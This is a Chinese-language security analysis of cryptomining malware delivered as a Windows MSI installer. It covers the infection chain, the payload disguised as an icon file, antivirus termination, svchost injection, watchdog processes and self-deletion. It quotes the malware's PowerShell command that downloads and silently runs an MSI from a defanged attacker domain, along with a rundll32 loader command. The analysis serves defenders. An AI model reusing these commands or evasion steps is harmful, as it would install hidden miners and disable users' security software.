导语:加密货币挖矿恶意软件开始使用一些包括Windows installer在内的新的绕过技术。
加密货币挖矿恶意软件开始使用一些包括Windows installer在内的新的绕过技术。
加密货币挖矿恶意软件数量不断增长的一个原因是其暴利性,另一个原因是可以在系统中不被检测到,尤其是使用了不同的混淆技术后更难检测。研究人员发现,攻击者在不断的向加密货币挖矿恶意软件中添加混淆技术来绕过AV的检测。
安装器行为
图1. 恶意软件感染链
恶意软件以Windows installer MSI文件的形式到达受害者机器,Windows installer MSI文件是一个用于安装软件的合法应用程序。使用真实的Windows组件可以使其看着不那么可疑,而且可以绕过一些安全过滤器。
研究人员分析样本的安装过程发现,恶意MSI文件会将自己安装到%AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server目录下,如果用户设备上不存在该目录,就会创建该目录。该目录含有许多不同的文件,作为攻击链的一部分:
· bat – 用于终止正在运行的反病毒软件的脚步文件
· exe – 用于解压释放在另一个目录中的icon.ico文件的解压工具
· ico – 密码保护的zip文件,显示为icon文件
解压icon.ico后出现两个文件:
· ocx – 加载器模块,负责解密和安装加密货币挖矿模块
· bin – 加密的,UPX打包的,Delphi 编译的加密货币挖矿模块
安装过程的另一部分包含在%AppData%\Roaming\Microsoft\Windows\Template\FileZilla Server\{Random Numbers}中创建kernel文件ntdll.dll和Windows USER组件user32.dll。研究人员这是为了预防恶意软件API的检测。如下所示的配置文件也会释放到 %UserTemp%\[Random Number]文件夹中。
图2. 挖矿机的配置文件
安装过程使用的语言是Cyrillic而非英语,这或许暗示着恶意软件来源的区域。
图3. 安装过程显示窗口
进程注入和监视器创建
安装后,在执行以下命令前,ex.exe文件会解压icon.ico文件:
rundll32 default.ocx,Entry u
为注入代码创建3个新Service Host (svchost.exe)进程。前两个SvcHost进程起着监视器的作用。当注入的svchost进程中止后,这两个进程负责通过powerShell命令重新下载Windows Installer (.msi)文件。
“powershell.exe -command $cli = new-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Windows Installer’;$f = ‘C:\%UserTemp%\{random number}.msi’; $cli.DownloadFile(‘hxxps://superdomain1709[.]info/update[.]txt’, $f);Start-Process $f -ArgumentList ‘/q’”
然后将第三个SvcHost进程注入到挖矿机模块并使用下面的命令执行:
“%system32%\svchost.exe –config={malware configuration path}
图4. 第三个Service Host进程
为了使用检测和分析变得更难,恶意软件还有自毁机制。首先,创建和执行下面的文件:
{Random Characters}.cmD <- self-delete command-line script
然后删除安装目录中的所有文件,并移除系统内所有的安装痕迹。
恶意软件非常特别的一点是使用主流的Windows Installer builder WiX作为打包器,有点像一层反检测层。这也说明攻击者在不断努力来保证其创建活动处于隐蔽状态。